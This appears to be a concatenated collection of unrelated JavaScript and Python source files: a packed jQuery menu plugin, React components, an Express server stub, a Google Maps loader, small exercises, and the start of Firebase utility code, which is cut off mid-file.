eval(function(p,a,c,k,e,r){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('(G($){$.M={19:K,9:{2i:"38",1Y:"",1Z:".E",1A:39,2j:K,1q:"1i",20:"3a/",2k:P,21:1v,2l:3b,22:0,23:0,2m:0,1J:4,1K:1,24:K,2n:"3c",2o:.2,2p:P,25:K,1L:3d,26:"2q",1B:0,27:0,2r:G(){}},28:G(g){1a 7.14(G(){H c=7;c.1j=!7.1j?"2s"+1M.2t(1M.2u()*3e):7.1j;7.9={};$.1C(7.9,$.M.9);$.1C(7.9,g);$(".I").1w();c.1b=K;c.15=K;c.1D=K;c.W=K;c.16=K;H d=$(7);H e=7.9.2p;H f=7.9.25;$(d).14(G(){8($.Q){$.Q.29("T");c.16=$(7).J(".2v");$(c.16).14(G(){8($(7).Q().I)$(7).F("I",$(7).Q().I)})}c.16=$(7).J("[I]");$(c.16).14(G(){$(7).12("2v");$(7).F("2a","2a")});8(e){$(c.16).S("1r",G(){8(!$(7).F("X")){$(7).1s(c,$(7).F("I"));$(7).F("X","P")}17{$(7).U(c,P);$(7).12("N")}8($(7).F("I")=="1N"){8(c.W){$(c.W).Y("N");c.1b=P;$(7).1k("X");1c(c.1D)}$(7).U(c)}1a K})}H a=$.11.18?"2b":"1O";H b=$.11.18?"2c":"2w";8(7.9.1B==0){$(c.16).S(a,G(){8(f)1c($.M.1d);8(!e)$(c).J(".N").Y("N");8(c.W){$(c.W).Y("N")}$(7).12("N");8((c.1b||!e)&&!$(7).F("X")){1c(c.1D);$(7).1s(c,$(7).F("I"));8($(7).F("I")=="1N"){$(7).U(c);$(7).1k("X")}}});$(c.16).S(b,G(){8(f)$.M.1d=2d(G(){$(7).U(c,P)},$(d)[0].9.1L);8(!c.1b)$(7).Y("N");$(1e).S("1r",G(){$(7).U(c,P)})})}17{$(c.16).1B({2x:G(){8(f)1c($.M.1d);8(!e)$(c).J(".N").Y("N");8(c.W){$(c.W).Y("N")}$(7).12("N");8((c.1b||!e)&&!$(7).F("X")){1c(c.1D);$(7).1s(c,$(7).F("I"));8($(7).F("I")=="1N"){$(7).U(c);$(7).1k("X")}}},2y:30,2z:7.9.1B,2A:0,2B:G(){8(f)$.M.1d=2d(G(){$(7).U(c,P)},$(d)[0].9.1L);8(!c.1b)$(7).Y("N");$(1e).S("1r",G(){$(7).U(c,P)})}})}})})},2e:G(e){1a 7.14(G(){H c=7;c.9={};$.1C(c.9,$.M.9);$.1C(c.9,e);$(".3f").1w();c.1b=K;c.15=K;c.1D=K;c.W=K;c.16=K;H d;8($.Q){$.Q.29("T");d=$(7).J(".3g");$(d).14(G(){8($(7).Q().1E)$(7).F("1E",$(7).Q().1E)})}d=$(7).J("[1E]");$(d).14(G(){$(7).O("-3h-3i-3j","3k");H b=7;b.1j=!b.1j?"2s"+1M.2t(1M.2u()*1v):b.1j;$(b).O({1t:"1l"});$(b).S("3l","3m",G(a){a.3n();a.3o();a.3p=P;$.M.3q=b;8($.M.9.19){$(c).U($.M.9.19)}c.9.2r(7,a);$(7).1s(c,$(7).F("1E"),"1x",a);$(7).F("X","P")})})})}};$.2f.1C({1s:G(n,m,o,e){H p=$.11.18&&$.11.3r=="6.0";H q=$.11.18?"2b":"1O";H r=$.11.18?"2c":"2w";8(e){7.2C=$(7).2D(e);7.2E=$(7).2F(e)}8($.M.9.19&&$.M.9.19!=n)$(n).U($.M.9.19);$.M.9.19=n;8(!o||o=="1x"){8(n.15){$(n.15).U(n);$(n.W).1k("X")}n.1b=P;n.W=7;$(n.W).F("X","P");$(n.W).12("N")}H s=7;H u=(!o||o=="1x")?$(1e.2G):$(7).2H().2H();8($(7).F("I")=="1N"){1a}H v=n.9.1Z.2I(".","");u.1P("<V T=\'13\'><V T=\'"+v+"\' 1Q=\'1R:1F\'></V></V>");7.I=u.J(".13");$(7.I).O({Z:0,1G:0});8(n.9.26!="2q"){$(7.I).O({1S:n.9.26++})}17{$(7.I).2J()}7.E=$(7.I).J(n.9.1Z);$(7.E).S(q,G(){$(s).12("N")});$(7.E).O({1y:"1T",1K:n.9.1K});8(!$("#"+m).3s()){$.3t({3u:"3v",3w:n.9.2i,3x:K,3y:K,3z:"3A="+m+(n.9.1Y!=""?"&"+n.9.1Y:""),3B:G(a){$("2G").1P(a);$("#"+m).1w()}})}$(7.E).1w();7.2g=$("#"+m).J("a").3C();8(n.9.24){H w=$("<V T=\'2K\'></V>").1w();8(p)w=$("<2L T=\'2K\'></2L>").1w()}8($.Q){$.Q.29("T");$(7.2g).14(G(){8($(7).Q().1m)$(7).F("1m",$(7).Q().1m);8($(7).Q().1n)$(7).F("1n",$(7).Q().1n);8($(7).Q().I)$(7).F("I",$(7).Q().I);8($(7).Q().1f)$(7).F("1f",$(7).Q().1f);8($(7).Q().1m)$(7).F("1m",$(7).Q().1m)})}$(7.2g).14(G(i){H c=7;H d="";H e=$(c).F("2h")=="3D";H f=$(c).F("2h")=="2M";H g=$(c).3E("[1m]");H h=$(c).F("2h")=="2N";8(n.9.2k&&!e){H j=$(c).F("1n")?$(c).F("1n"):"2O.2P";j=(j.3F>3&&j.2Q(".")>-1)?"<1n T=\'3G\' 2R=\'"+n.9.20+j+"\'>":j;d="<1U T=\'1n\'>"+j+"</1U>"}H k="<1F 1j=\'"+m+"R"+i+"\' T=\'2S"+(f?" 2M":"")+"\' 3H=\'0\' 3I=\'0\' 2T=\'0\' 1Q=\'Z:1v%; 1R:1F\' Z=\'1v%\'><2U>"+d+"<1U T=\'1H\' 2a></1U></2U></1F>";8(h)k="<V T=\'2N\' 1Q=\'Z:1v%; 1R:3J-3K\'><1n 2R=\'"+n.9.20+"2O.2P\' Z=\'1\' 1G=\'1\'></V>";8(e)k="<V 1Q=\'Z:1v%; 1R:1F\' T=\'2S\' 1j=\'"+m+"R"+i+"\'><V T=\'1H\'></V></V>";$(s.E).1P(k);8(!h){$(s.E).J("#"+m+"R"+i).J(".1H").1P(7);8($(7).F("I")){$(s.E).J("#"+m+"R"+i).J(".1H a").3L("<V T=\'2V\'></V>");$(s.E).J("#"+m+"R"+i).J(".2V").12("3M");$(s.E).J("#"+m+"R"+i).O({1t:"1l"});7.2W=P}8(e){$(s.E).J("#"+m+"R"+i).J(".1H").12("3N");7.2W=P}8(g){$(s.E).J("#"+m+"R"+i).12("1m").O({1t:"1l"})}8(!(e||f||g)){$(s.E).J("#"+m+"R"+i).O({1t:"3O"});8(n.9.27==0){$(s.E).J("#"+m+"R"+i).S("1O",G(a){1c($.M.1d);$(7).12("N");8(s.E.L&&!$(c).F("I")){$(s.I).J(".13").1g();$(s.E.L).Y("N");s.E.L=K}8($(c).F("I")){8(s.E.L&&s.E.L!=7){$(s.I).J(".13").1g();$(s.E.L).Y("N");s.E.L=K}8(!$(c).F("1f"))$(s.E).J("#"+m+"R"+i).O("1t","1l");8(!s.E.L||s.E.L!=7){$(s.I).J(".13").1g();s.E.L=K;$(7).1s(n,$(c).F("I"),"1V",a);s.E.L=7}$(7).F("X","P");1a K}})}17{$(s.E).J("#"+m+"R"+i).S("1O",G(){1c($.M.1d);$(7).12("N")});$(s.E).J("#"+m+"R"+i).1B({2x:G(a){8(s.E.L&&!$(c).F("I")){$(s.I).J(".13").1g();$(s.E.L).Y("N");s.E.L=K}8($(c).F("I")){8(s.E.L&&s.E.L!=7){$(s.I).J(".13").1g();$(s.E.L).Y("N");s.E.L=K}8(!$(c).F("1f"))$(s.E).J("#"+m+"R"+i).O("1t","1l");8(!s.E.L||s.E.L!=7){$(s.I).J(".13").1g();s.E.L=K;$(7).1s(n,$(c).F("I"),"1V",a);s.E.L=7}$(7).F("X","P");1a K}},2B:G(){},2y:30,2z:n.9.27,2A:0})}$(s.E).J("#"+m+"R"+i).S(r,G(){$(7).Y("N")})}8(g||f||e){$(7).1k("1o");$(s.E).J("#"+m+"R"+i).S(q,G(){$(1e).2X("1r");8(x)1c($.M.1d);8(s.E.L){$(s.I).J(".13").1g();s.E.L=K}}).O("1t","1l")}$(s.E).J("#"+m+"R"+i).S("1r",G(){8(($(c).F("1f")||$(c).F("1o"))&&!g){H a=$(c).F("2Y")?$(c).F("2Y"):"3P";8($(c).F("1o")&&$(c).F("1o").2Q("2Z:")>-1){$(c).F("1f",$(c).F("1o").2I("2Z:",""));$(c).1k("1o")}H b=$(c).F("1f")?$(c).F("1f"):"1i.3Q(\'"+$(c).F("1o")+"\', \'"+a+"\')";$(c).1k("1o");3R(b);$(7).U(n,P)}17 8($(c).F("I"))1a K})}});H x=$(n)[0].9.25;8(x){$(s.E).S("2b",G(){1c($.M.1d)});$(s.E).S("2c",G(){H a=$.M.9.19;$.M.1d=2d(G(){$(7).U(a,P)},$(n)[0].9.1L)})}H t=0,l=0;$(7.E).O({Z:n.9.1A});8($.11.18)$(7.E).O("Z",$(7.E).Z()+2);31(o){1W"1V":t=$(7).1y().1u+n.9.2m;l=$(7).1y().1p+$(7).Z()-n.9.1J;1z;1W"1x":t=7.2E-5;l=7.2C-5;1z;1l:8(n.9.2j){t=$(7).1h().1u-($.11.18?2:0)+n.9.22;l=$(7).1h().1p+$(7).1I()-n.9.23-($.11.18?2:0)}17{t=$(7).1h().1u+$(7).1X()-(!$.11.3S?2:0)+n.9.22;l=$(7).1h().1p+n.9.23}1z}$(7.I).O({1y:"1T",1u:t,1p:l});8(!o||o=="1x")n.15=7.I;$(7.E).S(r,G(){$(1e).S("1r",G(){$(1e).U(n,P)})});8(n.9.21>0)$(7.E).3T(n.9.21);17 $(7.E).32();8(n.9.24){$(7.I).3U(w);w.O({Z:$(7.E).1I(),1G:$(7.E).1X()-1,1y:\'1T\',3V:n.9.2n,2T:0,1K:n.9.2o}).32()}H y=(n.9.1q=="1i")?$(1i).1G():$("#"+n.9.1q).1h().1u+$("#"+n.9.1q).1X();H z=(n.9.1q=="1i")?$(1i).Z():$("#"+n.9.1q).1h().1p+$("#"+n.9.1q).1I();H A=$(7.E).1X();H B=w?w.1I():$(7.E).1I();H C=$(u.J(".13:33")).1h().1p-$(1i).34();H D=$(u.J(".13:33")).1h().1u-$(1i).35();31(o){1W"1V":8((C+B)>=z&&B<z){l-=((n.9.1A*2)-(n.9.1J*2))}1z;1W"1x":8((C+(n.9.1A*1.5))>=z&&B<z){l-=((n.9.1A)-(n.9.1J))}1z;1l:8((C+B)>=z&&B<z){l-=($(7.E).1h().1p+B)-z+1}1z}8((D+A)>=y-10&&A<y){t-=((D+A)-y)+10}$(7.I).O({1u:t,1p:l})},U:G(a,b){8(!a)a=$.M.9.19;8(a.15){$(a.W).1k("X").Y("N");$(a.15).O({Z:1,1G:1});8(b)$(a.15).3W(a.9.2l,G(){$(7).1g()});17 $(a.15).1g();a.15=K;a.1b=K;$(1e).2X("1r")}},2D:G(e){H a;8($.11.18)a=e.3X+1e.36.34;17 a=e.3Y;8(a<0)a=0;1a a},2F:G(e){H a;8($.11.18)a=e.3Z+1e.36.35;17 a=e.40;8(a<0)a=0;1a a},2J:G(){H b=10;$(\'*\').14(G(){8($(7).O("1y")=="1T"){H a=37($(7).O(\'1S\'));b=a>b?37($(7).O(\'1S\')):b}});$(7).O(\'1S\',b+=10)}});$.2f.28=$.M.28;$.2f.2e=$.M.2e})(41);',62,250,'|||||||this|if|options|||||||||||||||||||||||||||||||menuContainer|attr|function|var|menu|find|false|actualSubmenu|mbMenu|selected|css|true|metadata|_|bind|class|removeMbMenu|div|actualOpenedMenu|isOpen|removeClass|width||browser|addClass|menuDiv|each|rootMenu|menuvoice|else|msie|actualMenuOpener|return|clicked|clearTimeout|deleteOnMouseOut|document|action|remove|offset|window|id|removeAttr|default|disabled|img|href|left|containment|click|buildMbMenu|cursor|top|100|hide|cm|position|break|menuWidth|hoverIntent|extend|clearClicked|cMenu|table|height|voice|outerWidth|submenuLeft|opacity|closeAfter|Math|empty|mouseover|append|style|display|zIndex|absolute|td|sm|case|outerHeight|additionalData|menuSelector|iconPath|fadeInTime|menuTop|menuLeft|shadow|closeOnMouseOut|minZindex|submenuHoverIntent|buildMenu|setType|nowrap|mouseenter|mouseleave|setTimeout|buildContextualMenu|fn|voices|rel|template|openOnRight|hasImages|fadeOutTime|submenuTop|shadowColor|shadowOpacity|openOnClick|auto|onContextualMenu|menu_|floor|random|rootVoice|mouseout|over|sensitivity|interval|timeout|out|mouseX|getMouseX|mouseY|getMouseY|body|parent|replace|mb_BringToFront|menuShadow|iframe|title|separator|blank|gif|indexOf|src|line|border|tr|menuArrow|isOpener|unbind|target|javascript||switch|show|first|scrollLeft|scrollTop|documentElement|parseInt|yourMenuVoiceTemplate|150|ico|200|black|500|1000|mbmenu|cmVoice|khtml|user|select|none|contextmenu|mousedown|preventDefault|stopPropagation|cancelBubble|lastContextMenuEl|version|html|ajax|type|POST|url|cache|async|data|menuId|success|clone|text|is|length|imgLine|cellspacing|cellpadding|inline|block|wrap|subMenuOpener|textBox|pointer|_self|open|eval|mozilla|fadeIn|prepend|backgroundColor|fadeOut|clientX|pageX|clientY|pageY|jQuery'.split('|'),0,{})) |
import React from "react";
import { add } from "./listSlice";
import { connect } from "react-redux";
import ListField from "../common/ListField";
class NewList extends React.Component {
submit(text) {
if (!text.length) return;
this.props.add(text);
}
render() {
return (
<ListField
icon="fas fa-plus"
dataTestId="newListName"
placeholder="Create a new list..."
onSubmit={(text) => this.submit(text)}
/>
);
}
}
const mapDisptachToProps = { add };
export default connect(null, mapDisptachToProps)(NewList);
|
const express = require('express');
const app = express();
const exphbs = require('express-handlebars');
const path = require('path');
const port = 3000;
app.use('/', require(path.join(__dirname, './routers/server')));
app.engine('.hbs', exphbs({ extname: '.hbs' }));
app.set('view engine', '.hbs');
app.listen(port, () => {
console.log(`Server started at http://localhost:${port}`);
}); |
import React from 'react';
import ReactDOM from 'react-dom';
import ResizingTextArea from './ResizingTextArea';
function testProps(props) {
return {
value: "hello",
onChange: jest.fn(),
...props
};
}
it('renders without crashing', () => {
const el = document.createElement('div');
ReactDOM.render(<ResizingTextArea {...testProps()} />, el);
expect(el.textContent).toContain('hello');
});
// more meaningful tests would be challenging because there's no layout
// engine in jsdom |
/**
* 设计模式:遍历模式(外部迭代器)
*/
var iterator = function(obj) {
var current = 0;
//下一个
var next = function() {
current += 1;
};
//是否完成
var isDone = function() {
return current >= obj.length;
};
//获得当前的值
var getCurrItem = function() {
return obj[current];
};
//返回接口
return {
next: next,
isDone: isDone,
getCurrItem: getCurrItem
};
};
//比较函数
var compare = function(iterator1, iterator2) {
//如果2个迭代器都未完成则继续
while (!iterator1.isDone() && !iterator2.isDone()) {
//如果2个迭代器当前的值不等则抛出错误
if (iterator1.getCurrItem() !== iterator2.getCurrItem()) {
throw new Error('iterator1 !== iterator2');
}
iterator1.next();
iterator2.next();
}
//跑到这里来,说明是相等的
console.log('iterator1 === iterator2');
};
var iterator1 = iterator([1, 2, 3]);
var iterator2 = iterator([1, 2, 3]);
compare(iterator1, iterator2); //输出:iterator1 === iterator2
|
# не добавляйте кода вне функции
def update_dictionary(d, key, value):
if key in d:
d[key] += [value]
elif 2*key in d:
d[key*2] += [value]
else:
d.setdefault(key*2,[]).append(value)
# не добавляйте кода вне функции |
function validChecker(input){
let x1 = input[0];
let y1 = input[1];
let x2 = input[2];
let y2 = input[3];
function distance(x1,y1,x2,y2){
let distX = x1 - x2;
let distY = y1 - y2;
return Math.sqrt(distX**2 + distY**2);
}
if (Number.isInteger(distance(x1, y1, 0, 0))) {
console.log(`{${x1}, ${y1}} to {0, 0} is valid`);
} else {
console.log(`{${x1}, ${y1}} to {0, 0} is invalid`);
}
if (Number.isInteger(distance(x2, y2, 0, 0))) {
console.log(`{${x2}, ${y2}} to {0, 0} is valid`);
} else {
console.log(`{${x2}, ${y2}} to {0, 0} is invalid`);
}
if (Number.isInteger(distance(x1, y1, x2, y2))) {
console.log(`{${x1}, ${y1}} to {${x2}, ${y2}} is valid`);
} else {
console.log(`{${x1}, ${y1}} to {${x2}, ${y2}} is invalid`);
}
}
validChecker([3, 0, 0, 4]); |
window.google = window.google || {};
google.maps = google.maps || {};
(function() {
function getScript(src) {
document.write('<' + 'script src="' + src + '"><' + '/script>');
}
var modules = google.maps.modules = {};
google.maps.__gjsload__ = function(name, text) {
modules[name] = text;
};
google.maps.Load = function(apiLoad) {
delete google.maps.Load;
apiLoad([0.009999999776482582,[[["https://mts0.googleapis.com/vt?lyrs=m@316000000\u0026src=api\u0026hl=en-US\u0026","https://mts1.googleapis.com/vt?lyrs=m@316000000\u0026src=api\u0026hl=en-US\u0026"],null,null,null,null,"m@316000000",["https://mts0.google.com/vt?lyrs=m@316000000\u0026src=api\u0026hl=en-US\u0026","https://mts1.google.com/vt?lyrs=m@316000000\u0026src=api\u0026hl=en-US\u0026"]],[["https://khms0.googleapis.com/kh?v=178\u0026hl=en-US\u0026","https://khms1.googleapis.com/kh?v=178\u0026hl=en-US\u0026"],null,null,null,1,"178",["https://khms0.google.com/kh?v=178\u0026hl=en-US\u0026","https://khms1.google.com/kh?v=178\u0026hl=en-US\u0026"]],null,[["https://mts0.googleapis.com/vt?lyrs=t@132,r@316000000\u0026src=api\u0026hl=en-US\u0026","https://mts1.googleapis.com/vt?lyrs=t@132,r@316000000\u0026src=api\u0026hl=en-US\u0026"],null,null,null,null,"t@132,r@316000000",["https://mts0.google.com/vt?lyrs=t@132,r@316000000\u0026src=api\u0026hl=en-US\u0026","https://mts1.google.com/vt?lyrs=t@132,r@316000000\u0026src=api\u0026hl=en-US\u0026"]],null,null,[["https://cbks0.googleapis.com/cbk?","https://cbks1.googleapis.com/cbk?"]],[["https://khms0.googleapis.com/kh?v=86\u0026hl=en-US\u0026","https://khms1.googleapis.com/kh?v=86\u0026hl=en-US\u0026"],null,null,null,null,"86",["https://khms0.google.com/kh?v=86\u0026hl=en-US\u0026","https://khms1.google.com/kh?v=86\u0026hl=en-US\u0026"]],[["https://mts0.googleapis.com/mapslt?hl=en-US\u0026","https://mts1.googleapis.com/mapslt?hl=en-US\u0026"]],[["https://mts0.googleapis.com/mapslt/ft?hl=en-US\u0026","https://mts1.googleapis.com/mapslt/ft?hl=en-US\u0026"]],[["https://mts0.googleapis.com/vt?hl=en-US\u0026","https://mts1.googleapis.com/vt?hl=en-US\u0026"]],[["https://mts0.googleapis.com/mapslt/loom?hl=en-US\u0026","https://mts1.googleapis.com/mapslt/loom?hl=en-US\u0026"]],[["https://mts0.googleapis.com/mapslt?hl=en-US\u0026","https://mts1.googleapis.com/mapslt?hl=en-US\u0026"]],[["https://mts0.googleapis.com/mapslt/ft?hl=en-US\u0026","https://mts1.googleapis.com/mapslt/ft?hl=en-US\u0026"]],[["https://mts0.googleapis.com/mapslt/loom?hl=en-US\u0026","https://mts1.googleapis.com/mapslt/loom?hl=en-US\u0026"]]],["en-US","US",null,0,null,null,"https://maps.gstatic.com/mapfiles/","https://csi.gstatic.com","https://maps.googleapis.com","https://maps.googleapis.com",null,"https://maps.google.com","https://gg.google.com","https://maps.gstatic.com/maps-api-v3/api/images/","https://www.google.com/maps",0],["https://maps.gstatic.com/maps-api-v3/api/js/21/7","3.21.7"],[3381937399],1,null,null,null,null,null,"",null,null,1,"https://khms.googleapis.com/mz?v=178\u0026",null,"https://earthbuilder.googleapis.com","https://earthbuilder.googleapis.com",null,"https://mts.googleapis.com/vt/icon",[["https://mts0.googleapis.com/vt","https://mts1.googleapis.com/vt"],["https://mts0.googleapis.com/vt","https://mts1.googleapis.com/vt"],null,null,null,null,null,null,null,null,null,null,["https://mts0.google.com/vt","https://mts1.google.com/vt"],"/maps/vt",316000000,132],2,500,[null,"https://g0.gstatic.com/landmark/tour","https://g0.gstatic.com/landmark/config",null,"https://www.google.com/maps/preview/log204","","https://static.panoramio.com.storage.googleapis.com/photos/",["https://geo0.ggpht.com/cbk","https://geo1.ggpht.com/cbk","https://geo2.ggpht.com/cbk","https://geo3.ggpht.com/cbk"]],["https://www.google.com/maps/api/js/master?pb=!1m2!1u21!2s7!2sen-US!3sUS!4s21/7","https://www.google.com/maps/api/js/widget?pb=!1m2!1u21!2s7!2sen-US"],null,0,0,"/maps/api/js/ApplicationService.GetEntityDetails",0,null,null,[null,null,null,null,null,null,null,null,null,[0,0],[0,null,0,"0","0"]]], loadScriptTime);
};
var loadScriptTime = (new Date).getTime();
getScript("https://maps.gstatic.com/maps-api-v3/api/js/21/7/main.js");
})(); |
import React from 'react';
import PropTypes from 'prop-types';
import {
View,
StyleSheet,
Platform,
TouchableWithoutFeedback,
Modal,
} from 'react-native';
import { withTheme } from '../config';
const Overlay = ({
children,
backdropStyle,
overlayStyle,
onBackdropPress,
fullScreen,
ModalComponent,
isVisible,
...rest
}) => (
<ModalComponent
visible={isVisible}
onRequestClose={onBackdropPress}
transparent
{...rest}
>
<TouchableWithoutFeedback
onPress={onBackdropPress}
testID="RNE__Overlay__backdrop"
>
<View
testID="backdrop"
style={StyleSheet.flatten([styles.backdrop, backdropStyle])}
/>
</TouchableWithoutFeedback>
<View style={styles.container} pointerEvents="box-none">
<View
style={StyleSheet.flatten([
styles.overlay,
fullScreen && styles.fullscreen,
overlayStyle,
])}
>
{children}
</View>
</View>
</ModalComponent>
);
Overlay.propTypes = {
children: PropTypes.element.isRequired,
isVisible: PropTypes.bool.isRequired,
backdropStyle: PropTypes.object,
overlayStyle: PropTypes.object,
onBackdropPress: PropTypes.func,
fullScreen: PropTypes.bool,
ModalComponent: PropTypes.elementType,
};
Overlay.defaultProps = {
fullScreen: false,
onBackdropPress: () => null,
ModalComponent: Modal,
};
const styles = StyleSheet.create({
backdrop: {
position: 'absolute',
top: 0,
left: 0,
width: '100%',
height: '100%',
justifyContent: 'center',
alignItems: 'center',
backgroundColor: 'rgba(0, 0, 0, .4)',
},
container: {
flex: 1,
alignItems: 'center',
justifyContent: 'center',
},
fullscreen: {
width: '100%',
height: '100%',
},
overlay: {
backgroundColor: 'white',
borderRadius: 3,
padding: 10,
...Platform.select({
android: {
elevation: 2,
},
default: {
shadowColor: 'rgba(0, 0, 0, .3)',
shadowOffset: { width: 0, height: 1 },
shadowRadius: 4,
},
}),
},
});
export { Overlay };
export default withTheme(Overlay, 'Overlay');
|
/*
*
* ManagementTemplates actions
*
*/
import { DEFAULT_ACTION } from './constants';
export function defaultAction() {
return {
type: DEFAULT_ACTION,
};
}
|
(window.webpackJsonp=window.webpackJsonp||[]).push([[27],{117:function(e){e.exports=JSON.parse('{"permalink":"/blog/page/2","page":2,"postsPerPage":10,"totalPages":3,"totalCount":25,"previousPage":"/blog","nextPage":"/blog/page/3"}')}}]); |
'use strict';
module.exports = {
settings: function settings() {
return {
remote_enable: '0',
remote_port: '9000',
remote_autostart: '0',
remote_connect_back: '0',
scream: '0',
show_local_vars: '0'
};
},
remotePortOptions: function remotePortOptions() {
return [{ value: '9000', label: '9000' }, { value: '9001', label: '9001' }, { value: '9002', label: '9002' }, { value: '9003', label: '9003' }, { value: '9004', label: '9004' }, { value: '9005', label: '9005' }];
}
}; |
'use strict';
Object.defineProperty(exports, "__esModule", {
value: true
});
exports.default = ControlBar;
var _lodash = require('lodash');
var _lodash2 = _interopRequireDefault(_lodash);
var _react = require('react');
var _react2 = _interopRequireDefault(_react);
var _reactSelect = require('react-select');
var _reactSelect2 = _interopRequireDefault(_reactSelect);
require('react-select/dist/react-select.css');
require('./ControlBar.css');
function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; }
function ControlBar(props) {
var onConfigChange = props.onConfigChange,
onCreateNewConfigClicked = props.onCreateNewConfigClicked,
onDeleteConfigClicked = props.onDeleteConfigClicked,
onDownloadSVGClicked = props.onDownloadSVGClicked,
onImportNewImageClicked = props.onImportNewImageClicked,
onRevertClicked = props.onRevertClicked,
onSaveConfigClicked = props.onSaveConfigClicked,
currentConfigName = props.currentConfigName,
configNames = props.configNames;
var selectOptions = _lodash2.default.map(configNames, function (name) {
return {
value: name,
label: name,
className: 'svgee-control-bar-config-item'
};
});
return _react2.default.createElement(
'div',
{ className: 'svgee-top-control-bar' },
_react2.default.createElement(
'div',
{ className: 'svgee-control-bar-left' },
_react2.default.createElement(
'div',
{
className: 'svgee-control-bar-button',
onClick: onImportNewImageClicked
},
'Import New Image'
),
_react2.default.createElement(
'div',
{
className: 'svgee-control-bar-button',
onClick: onDownloadSVGClicked
},
'Download SVG'
)
),
_react2.default.createElement(
'div',
{ className: 'svgee-control-bar-right' },
_react2.default.createElement(
'div',
{ className: 'svgee-control-bar-config-selector-container' },
_react2.default.createElement(_reactSelect2.default, {
className: 'svgee-control-bar-config-selector',
clearable: false,
name: 'form-field-name',
value: currentConfigName,
onChange: function onChange(newConfig) {
if (newConfig) {
onConfigChange(newConfig.value);
}
},
options: selectOptions
})
),
_react2.default.createElement(
'div',
{
className: 'svgee-control-bar-button',
onClick: onCreateNewConfigClicked
},
'New'
),
_react2.default.createElement(
'div',
{ className: 'svgee-control-bar-button', onClick: onSaveConfigClicked },
'Save'
),
_react2.default.createElement(
'div',
{ className: 'svgee-control-bar-button', onClick: onRevertClicked },
'Revert'
),
_react2.default.createElement(
'div',
{
className: 'svgee-control-bar-button',
onClick: onDeleteConfigClicked
},
'Delete'
)
)
);
} |
'use strict';
Object.defineProperty(exports, '__esModule', { value: true });
var tslib_1 = require('tslib');
/**
* @license
* Copyright 2017 Google Inc.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
/**
* @fileoverview Firebase constants. Some of these (@defines) can be overridden at compile-time.
*/
var CONSTANTS = {
/**
* @define {boolean} Whether this is the client Node.js SDK.
*/
NODE_CLIENT: false,
/**
* @define {boolean} Whether this is the Admin Node.js SDK.
*/
NODE_ADMIN: false,
/**
* Firebase SDK Version
*/
SDK_VERSION: '${JSCORE_VERSION}'
};
/**
* @license
* Copyright 2017 Google Inc.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
/**
* Throws an error if the provided assertion is falsy
* @param {*} assertion The assertion to be tested for falsiness
* @param {!string} message The message to display if the check fails
*/
var assert = function (assertion, message) {
if (!assertion) {
throw assertionError(message);
}
};
/**
* Returns an Error object suitable for throwing.
* @param {string} message
* @return {!Error}
*/
var assertionError = function (message) {
return new Error('Firebase Database (' +
CONSTANTS.SDK_VERSION +
') INTERNAL ASSERT FAILED: ' +
message);
};
/**
* @license
* Copyright 2017 Google Inc.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
var stringToByteArray = function (str) {
// TODO(user): Use native implementations if/when available
var out = [], p = 0;
for (var i = 0; i < str.length; i++) {
var c = str.charCodeAt(i);
if (c < 128) {
out[p++] = c;
}
else if (c < 2048) {
out[p++] = (c >> 6) | 192;
out[p++] = (c & 63) | 128;
}
else if ((c & 0xfc00) == 0xd800 &&
i + 1 < str.length &&
(str.charCodeAt(i + 1) & 0xfc00) == 0xdc00) {
// Surrogate Pair
c = 0x10000 + ((c & 0x03ff) << 10) + (str.charCodeAt(++i) & 0x03ff);
out[p++] = (c >> 18) | 240;
out[p++] = ((c >> 12) & 63) | 128;
out[p++] = ((c >> 6) & 63) | 128;
out[p++] = (c & 63) | 128;
}
else {
out[p++] = (c >> 12) | 224;
out[p++] = ((c >> 6) & 63) | 128;
out[p++] = (c & 63) | 128;
}
}
return out;
};
/**
* Turns an array of numbers into the string given by the concatenation of the
* characters to which the numbers correspond.
* @param {Array<number>} bytes Array of numbers representing characters.
* @return {string} Stringification of the array.
*/
var byteArrayToString = function (bytes) {
// TODO(user): Use native implementations if/when available
var out = [], pos = 0, c = 0;
while (pos < bytes.length) {
var c1 = bytes[pos++];
if (c1 < 128) {
out[c++] = String.fromCharCode(c1);
}
else if (c1 > 191 && c1 < 224) {
var c2 = bytes[pos++];
out[c++] = String.fromCharCode(((c1 & 31) << 6) | (c2 & 63));
}
else if (c1 > 239 && c1 < 365) {
// Surrogate Pair
var c2 = bytes[pos++];
var c3 = bytes[pos++];
var c4 = bytes[pos++];
var u = (((c1 & 7) << 18) | ((c2 & 63) << 12) | ((c3 & 63) << 6) | (c4 & 63)) -
0x10000;
out[c++] = String.fromCharCode(0xd800 + (u >> 10));
out[c++] = String.fromCharCode(0xdc00 + (u & 1023));
}
else {
var c2 = bytes[pos++];
var c3 = bytes[pos++];
out[c++] = String.fromCharCode(((c1 & 15) << 12) | ((c2 & 63) << 6) | (c3 & 63));
}
}
return out.join('');
};
// Static lookup maps, lazily populated by init_()
var base64 = {
/**
* Maps bytes to characters.
* @type {Object}
* @private
*/
byteToCharMap_: null,
/**
